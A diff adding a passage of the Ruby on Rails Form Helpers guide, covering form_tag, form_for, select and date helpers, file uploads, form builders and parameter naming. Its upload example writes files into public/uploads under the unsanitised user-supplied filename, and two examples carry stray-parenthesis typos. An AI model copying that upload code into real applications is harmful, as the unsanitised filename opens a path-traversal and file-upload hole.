+ <%= text_field_tag(:q) %>
+ <%= submit_tag("Search") %>
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="get">
+ <label for="q">Search for:</label>
+ <input id="q" name="q" type="text" />
+ <input name="commit" type="submit" value="Search" />
+</form>
+```
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+### Multiple Hashes in Form Helper Calls
+
+The `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the `link_to` helper, the path argument doesn't have to be a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to `form_tag` are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this:
+
+```ruby
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">'
+```
+
+Here, `method` and `class` are appended to the query string of the generated URL because even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect:
+
+```ruby
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">'
+```
+
+### Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as `text_field_tag` and `check_box_tag`), generate just a single `<input>` element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the `params` hash in the controller with the value entered by the user f [...]
+
+When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in `params`. You can read more about them in [chapter 7 of this guide](#understanding-parameter-naming-conventions). For details on the precise usage of these helpers, please refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html).
+
+#### Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+```erb
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+```
+
+This generates the following:
+
+```html
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+```
+
+The first parameter to `check_box_tag`, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in `params`) when the checkbox is checked.
+
+#### Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one):
+
+```erb
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+```
+
+Output:
+
+```html
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+```
+
+As with `check_box_tag`, the second parameter to `radio_button_tag` is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and `params[:age]` will contain either "child" or "adult".
+
+NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and,
+by expanding the clickable region,
+make it easier for users to click the inputs.
+
+### Other Helpers of Interest
+
+Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields:
+
+```erb
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_field(:user, :meeting_time) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+```
+
+Output:
+
+```html
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_meeting_time" name="user[meeting_time]" type="datetime" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+```
+
+Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript.
+
+IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modern [...]
+
+TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging).
+
+Dealing with Model Objects
+--------------------------
+
+### Model Object Helpers
+
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.
+
+For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
+
+```erb
+<%= text_field(:person, :name) %>
+```
+
+will produce output similar to
+
+```erb
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update`. While the name of an attribute is the most common second parameter to these helpers this is not compulsory. In the example above, as long as person objects have a `name` and a `name=` method Rails will be happy.
+
+WARNING: You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
+
+Rails provides helpers for displaying the validation errors associated with a model object. These are covered in detail by the [Active Record Validations](./active_record_validations.html#displaying-validation-errors-in-views) guide.
+
+### Binding a Form to an Object
+
+While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+
+Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
+
+```ruby
+def new
+ @article = Article.new
+end
+```
+
+The corresponding view `app/views/articles/new.html.erb` using `form_for` looks like this:
+
+```erb
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+ <%= f.text_field :title %>
+ <%= f.text_area :body, size: "60x12" %>
+ <%= f.submit "Create" %>
+<% end %>
+```
+
+There are a few things to note here:
+
+* `@article` is the actual object being edited.
+* There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+* The `form_for` method yields a **form builder** object (the `f` variable).
+* Methods to create form controls are called **on** the form builder object `f`
+
+The resulting HTML is:
+
+```html
+<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
+ <input id="article_title" name="article[title]" type="text" />
+ <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+ <input name="commit" type="submit" value="Create" />
+</form>
+```
+
+The name passed to `form_for` controls the key used in `params` to access the form's values. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the parameter_names section.
+
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
+
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+
+```erb
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+ <%= person_form.text_field :name %>
+ <%= fields_for @person.contact_detail do |contact_details_form| %>
+ <%= contact_details_form.text_field :phone_number %>
+ <% end %>
+<% end %>
+```
+
+which produces the following output:
+
+```html
+<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+ <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+```
+
+The object yielded by `fields_for` is a form builder like the one yielded by `form_for` (in fact `form_for` calls `fields_for` internally).
+
+### Relying on Record Identification
+
+The Article model is directly available to users of the application, so — following the best practices for developing with Rails — you should declare it **a resource**:
+
+```ruby
+resources :articles
+```
+
+TIP: Declaring a resource has a number of side-affects. See [Rails Routing From the Outside In](routing.html#resource-routing-the-rails-default) for more information on setting up and using resources.
+
+When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on **record identification**. In short, you can just pass the model instance and have Rails figure out model name and the rest:
+
+```ruby
+## Creating a new article
+# long-style:
+form_for(@article, url: articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# short-style:
+form_for(@article)
+```
+
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the `class` and `id` of the form appropriately: a form creating an article would have `id` and `class` `new_article`. If you were editing the article with id 23, the `class` would be set to `edit_article` and the id to `edit_article_23`. These attributes will be omitted for brevity in the rest of this guide.
+
+WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url`, and `:method` explicitly.
+
+#### Dealing with Namespaces
+
+If you have created namespaced routes, `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+
+```ruby
+form_for [:admin, @article]
+```
+
+will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+```ruby
+form_for [:admin, :management, @article]
+```
+
+For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
+
+
+### How do forms with PATCH, PUT, or DELETE methods work?
+
+The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
+
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"`, which is set to reflect the desired method:
+
+```ruby
+form_tag(search_path, method: "patch")
+```
+
+output:
+
+```html
+<form accept-charset="UTF-8" action="/search" method="post">
+ <div style="margin:0;padding:0">
+ <input name="_method" type="hidden" value="patch" />
+ <input name="utf8" type="hidden" value="✓" />
+ <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+ </div>
+ ...
+```
+
+When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
+
+Making Select Boxes with Ease
+-----------------------------
+
+Select boxes in HTML require a significant amount of markup (one `OPTION` element for each option to choose from), therefore it makes the most sense for them to be dynamically generated.
+
+Here is what the markup might look like:
+
+```html
+<select name="city_id" id="city_id">
+ <option value="1">Lisbon</option>
+ <option value="2">Madrid</option>
+ ...
+ <option value="12">Berlin</option>
+</select>
+```
+
+Here you have a list of cities whose names are presented to the user. Internally the application only wants to handle their IDs so they are used as the options' value attribute. Let's see how Rails can help out here.
+
+### The Select and Option Tags
+
+The most generic helper is `select_tag`, which — as the name implies — simply generates the `SELECT` tag that encapsulates an options string:
+
+```erb
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+```
+
+This is a start, but it doesn't dynamically create the option tags. You can generate option tags with the `options_for_select` helper:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+```
+
+The first argument to `options_for_select` is a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will be submitted to your controller. Often this will be the id of a corresponding database object but this does not have to be the case.
+
+Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+
+```erb
+<%= select_tag(:city_id, options_for_select(...)) %>
+```
+
+`options_for_select` allows you to pre-select an option by passing its value.
+
+```html+erb
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+output:
+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+```
+
+Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` — you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
+
+WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
+
+You can add arbitrary attributes to the options using hashes:
+
+```html+erb
+<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %>
+
+output:
+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+```
+
+### Select Boxes for Dealing with Models
+
+In most cases form controls will be tied to a specific database model and as you might expect Rails provides helpers tailored for that purpose. Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`:
+
+```ruby
+# controller:
+ at person = Person.new(city_id: 2)
+```
+
+```erb
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+```
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one — Rails will do this for you by reading from the `@person.city_id` attribute.
+
+As with other helpers, if you were to use the `select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+```
+
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update`. A [...]
+
+### Option Tags from a Collection of Arbitrary Objects
+
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+```erb
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+```
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option **value** and **text** from, respectively:
+
+```erb
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+```
+
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. When working with model objects, just as `select` combines `select_tag` and `options_for_select`, `collection_select` combines `select_tag` with `options_from_collection_for_select`.
+
+```erb
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+```
+
+To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
+
+NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
+
+### Time Zone and Country Select
+
+To leverage time zone support in Rails, you have to ask your users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+
+```erb
+<%= time_zone_select(:person, :time_zone) %>
+```
+
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a `country_select` helper for choosing countries, but this has been extracted to the [country_select plugin](https://github.com/stefanpenner/country_select). When using this, be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from Rails).
+
+Using Date and Time Form Helpers
+--------------------------------
+
+You can choose not to use the form helpers generating HTML5 date and time input fields and use the alternative date and time helpers. These date and time helpers differ from all the other form helpers in two important respects:
+
+* Dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc.) and so there is no single value in your `params` hash with your date or time.
+* Other helpers use the `_tag` suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select_date`, `select_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers.
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc.).
+
+### Barebones Helpers
+
+The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+```erb
+<%= select_date Date.today, prefix: :start_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+```
+
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+
+```ruby
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+```
+
+The `:prefix` option is the key used to retrieve the hash of date components from the `params` hash. Here it was set to `start_date`, if omitted it will default to `date`.
+
+### Model Object Helpers
+
+`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the `params` hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names; when Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example:
+
+```erb
+<%= date_select :person, :birth_date %>
+```
+
+outputs (with actual option values omitted for brevity)
+
+```html
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+```
+
+which results in a `params` hash like
+
+```ruby
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+```
+
+When this is passed to `Person.new` (or `update`), Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date.civil`.
+
+### Common Options
+
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html).
+
+As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in other cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built-in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+### Individual Components
+
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_n [...]
+
+The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+
+```erb
+<%= select_year(2009) %>
+<%= select_year(Time.now) %>
+```
+
+will produce the same output if the current year is 2009 and the value chosen by the user can be retrieved by `params[:date][:year]`.
+
+Uploading Files
+---------------
+
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the rendered form's encoding **MUST** be set to "multipart/form-data". If you use `form_for`, this is done automatically. If you use `form_tag`, you must set it yourself, as per the following example.
+
+The following two forms both upload a file.
+
+```erb
+<%= form_tag({action: :upload}, multipart: true) do %>
+ <%= file_field_tag 'picture' %>
+<% end %>
+
+<%= form_for @person do |f| %>
+ <%= f.file_field :picture %>
+<% end %>
+```
+
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+
+### What Gets Uploaded
+
+The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same n [...]
+
+```ruby
+def upload
+ uploaded_io = params[:person][:picture]
+ File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+ file.write(uploaded_io.read)
+ end
+end
+```
+
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
+
+NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
+
+### Dealing with Ajax
+
+Unlike other forms making an asynchronous file upload form is not as simple as providing `form_for` with `remote: true`. With an Ajax form the serialization is done by JavaScript running inside the browser and since JavaScript cannot read files from your hard drive the file cannot be uploaded. The most common workaround is to use an invisible iframe that serves as the target for the form submission.
+
+Customizing Form Builders
+-------------------------
+
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass FormBuilder and add the helpers there. For example
+
+```erb
+<%= form_for @person do |f| %>
+ <%= text_field_with_label f, :first_name %>
+<% end %>
+```
+
+can be replaced with
+
+```erb
+<%= form_for @person, builder: LabellingFormBuilder do |f| %>
+ <%= f.text_field :first_name %>
+<% end %>
+```
+
+by defining a LabellingFormBuilder class similar to the following:
+
+```ruby
+class LabellingFormBuilder < ActionView::Helpers::FormBuilder
+ def text_field(attribute, options={})
+ label(attribute) + super
+ end
+end
+```
+
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option.
+
+The form builder used also determines what happens when you do
+
+```erb
+<%= render partial: f %>
+```
+
+If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.
+
+Understanding Parameter Naming Conventions
+------------------------------------------
+
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
+action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
+
+Fundamentally HTML forms don't know about any sort of structured data, all they generate is name–value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
+
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
+
+```ruby
+Rack::Utils.parse_query "name=fred&phone=0123456789"
+# => {"name"=>"fred", "phone"=>"0123456789"}
+```
+
+### Basic Structures
+
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains
+
+```html
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+```
+
+the `params` hash will contain
+
+```erb
+{'person' => {'name' => 'Henry'}}
+```
+
+and `params[:person][:name]` will retrieve the submitted value in the controller.
+
+Hashes can be nested as many levels as required, for example
+
+```html
+<input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
+```
+
+will result in the `params` hash being
+
+```ruby
+{'person' => {'address' => {'city' => 'New York'}}}
+```
+
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+
+```html
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+<input name="person[phone_number][]" type="text"/>
+```
+
+This would result in `params[:person][:phone_number]` being an array.
+
+### Combining Them
+
+We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+
+```html
+<input name="addresses[][line1]" type="text"/>
+<input name="addresses[][line2]" type="text"/>
+<input name="addresses[][city]" type="text"/>
+```
+
+This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
+
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+
+WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working wi [...]
+
+### Using Form Helpers
+
+The previous sections did not use the Rails form helpers at all. While you can craft the input names yourself and pass them directly to helpers such as `text_field_tag` Rails also provides higher level support. The two tools at your disposal here are the name parameter to `form_for` and `fields_for` and the `:index` option that helpers take.
+
+You might want to render a form with a set of edit fields for each of a person's addresses. For example:
+
+```erb
+<%= form_for @person do |person_form| %>
+ <%= person_form.text_field :name %>
+ <% @person.addresses.each do |address| %>
+ <%= person_form.fields_for address, index: address do |address_form|%>
+ <%= address_form.text_field :city %>
+ <% end %>
+ <% end %>
+<% end %>
+```
+
+Assuming the person had two addresses, with ids 23 and 45 this would create output similar to this:
+
+```html
+<form accept-charset="UTF-8" action="/people/1" class="edit_person" id="edit_person_1" method="post">
+ <input id="person_name" name="person[name]" type="text" />
+ <input id="person_address_23_city" name="person[address][23][city]" type="text" />
+ <input id="person_address_45_city" name="person[address][45][city]" type="text" />
+</form>
+```
+
+This will result in a `params` hash that looks like
+
+```ruby
+{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
+```
+
+Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to loca [...]
+
+To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
+
+```erb
+<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+```
+
+will create inputs like
+
+```html
+<input id="person_address_primary_1_city" name="person[address][primary][1][city]" type="text" value="bologna" />
+```
+
+As a general rule the final input name is the concatenation of the name given to `fields_for`/`form_for`, the index value and the name of the attribute. You can also pass an `:index` option directly to helpers such as `text_field`, but it is usually less repetitive to specify this at the form builder level rather than on individual input controls.
+
+As a shortcut you can append [] to the name and omit the `:index` option. This is the same as specifying `index: address` so
+
+```erb
+<%= fields_for 'person[address][primary][]', address do |address_form| %>
+ <%= address_form.text_field :city %>
+<% end %>
+```
+
+produces exactly the same output as the previous example.
+
+Forms to external resources
+---------------------------
+
+If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+ Form contents
+<% end %>
+```
+
+Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
+
+```erb
+<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+ Form contents
+<% end %>
+```
+
+The same technique is also available for `form_for`:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+ Form contents
+<% end %>
+```
+
+Or if you don't want to render an `authenticity_token` field:
+
+```erb
+<%= form_for @invoice, url: external_url, authenticity_token: false do |f| %>
+ Form contents
+<% end %>
+```
+
+Building Complex Forms
+----------------------
+
+Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+
+### Configuring the Model
+
+Active Record provides model level support via the `accepts_nested_attributes_for` method:
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :addresses
+ accepts_nested_attributes_for :addresses
+end
+
